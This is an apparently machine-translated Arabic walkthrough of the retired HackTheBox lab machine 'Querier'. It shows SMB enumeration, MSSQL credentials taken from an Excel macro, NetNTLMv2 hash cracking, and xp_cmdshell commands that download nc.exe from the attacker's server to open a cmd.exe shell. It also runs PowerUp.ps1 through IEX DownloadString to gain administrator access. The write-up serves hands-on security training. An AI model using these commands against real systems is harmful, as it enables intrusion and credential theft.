مرحبا يا هبر! في هذه المقالة ، سوف تتعرف على طريقة لمهاجمة خادم بعيد باستخدام ميزات MsSQL ، وإنشاء غلاف عكسي للإصلاح في النظام ، ومثال على تشغيل سياسة مجموعة غير مكوّنة في Windows.
تحت القص ، سنتحدث عن تجربتنا في تمرير آلة مختبر
Querier على بوابة
hackthebox .
بالنسبة لأولئك الذين لا يعرفون ما هو hackthebox ، هذه بوابة يمكنك من خلالها اختبار مهاراتك المكبوتة في الممارسة العملية ، وهناك أقنعة CTF وأجهزة المختبرات نفسها.
تنصلقراءة قواعد الخدمة: " لا تشارك كيف اخترق كل جهاز مع الأعضاء الآخرين. ويشمل ذلك إنشاء رمز الدعوة وجميع التحديات . " ولكن نظرًا لأن هذا الجهاز لم يعد نشطًا ويتم تخزينه في قسم الأجهزة المتقاعدة ، يمكن فقط لأعضاء VIP الوصول إليه.

جمع المعلومات
دعنا نبدأ استكشافنا عن طريق بدء مسح المنفذ باستخدام nmap.
nmap –sC –Pn –A 10.10.10.125

نحن قائمة المنافذ وجدت.
تعداد 139/445 / tcp (smb)
سوف نستخدم الأداة المساعدة smbclient للوصول إلى موارد خادم SMB.
smbclient –L //10.10.10.125
بعد الاطلاع على جميع الموارد ، نجد في دليل التقارير ملف "Currency Volume Report.xlsm".

إذا قمت بفتح هذا الملف باستخدام Microsoft Excel قياسي ، فسيظهر
للوهلة الأولى فارغًا تمامًا.
نقوم بتحليل الملف باستخدام الأداة المساعدة
binwalk ، والتي ستساعدك في إلقاء نظرة على الملفات المضمنة في مستند xlsm.

من إخراج binwalk ، وجدنا بعض الملفات المثيرة للاهتمام الموجودة في xlsm.
باستخدام العلامة –e ، قم بفكها.
binwalk –e Currency\ Volume\ Report.xlsm

الآن سنستخدم الأداة المساعدة
للسلاسل لإخراج الحروف المطبوعة. من خلال تصفح الملفات ، نجد بيانات مثيرة للاهتمام في vbaProject.bin. يبدو أننا وجدنا بيانات الاعتماد لخادم mssql.

لتلخيص المعلومات الواردة حاليًا:
- نحن نعلم أن خادم mssql يدور على المنفذ 10.10.10.125:1433 ؛
- لدينا بيانات اعتماد من خادم mssql للمستخدم.
لذلك دعونا نحاول الاتصال بالخادم باستخدام البرنامج النصي من وحدة
impacket .
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
الحصول على MsSQL.

تعداد MsSQL
نحن ندرج المعلومات المفيدة لنا باستخدام أوامر
المقال .
بعد تنفيذ SQLi ، نحصل على علامة تجزئة من كلمة مرور المستخدم mssql-svc.

للحصول على كلمة المرور بشكل صريح ، من الضروري إزالتها باستخدام أي أداة مناسبة لك.
john --format=netntlmv2 hash.txt
hashcat -m 5600 -a 3 hash.txt
نحصل على كلمة المرور من mssql-svc .
الاتصال بـ SQL
بقروض اعتماد جديدة.
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
تسمح لنا حقوق هذا المستخدم بتنفيذ
xp_cmdshellحول xp_cmdshellشحن MsSQL مع مجموعة كبيرة من الإجراءات المخزنة المتقدمة. الأكثر إثارة للاهتمام منهم هو xp_cmdshell. يوفر الوصول إلى سطر الأوامر لنظام التشغيل.
الحصول على قذيفة العكسية
نحن نحاول الحصول على shell من خلال netcat ، لهذا نحن بحاجة إلى تحميله على الخادم الذي تمت مهاجمته.
نذهب إلى الدليل على الجهاز الخاص بنا حيث يوجد netcat وتشغيله:
python –m SimpleHTTPServer
في shell mssql لتنزيل netcat (nc.exe) على الخادم البعيد ، قم بتشغيل الأمر powershell ، مع تحديد مسار الحفظ.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.xx:8000/nc.exe" – OutFile "C:\Users\mssql-svc\Desktop\nc.exe" "
نبدأ netcat للاستماع على المنفذ 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
نبدأ netcat من جانبنا ، مع تحديد عنوان IP والمنفذ للخادم الذي تمت مهاجمته والحصول على الصدفة.
nc 10.10.10.125 4444
قم بتشغيل برنامج
نصي من PowerShellMafia لزيادة الامتيازات.
powershell.exe IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.xx:8000/PowerUp.ps1\"); Invoke-AllChecks

نتيجة للبرنامج النصي ، حصلنا على بيانات اعتماد المسؤول.
نذهب إلى موارد smb باستخدام بيانات اعتماد جديدة وأذونات.


خذ علامة root.txt. النصر!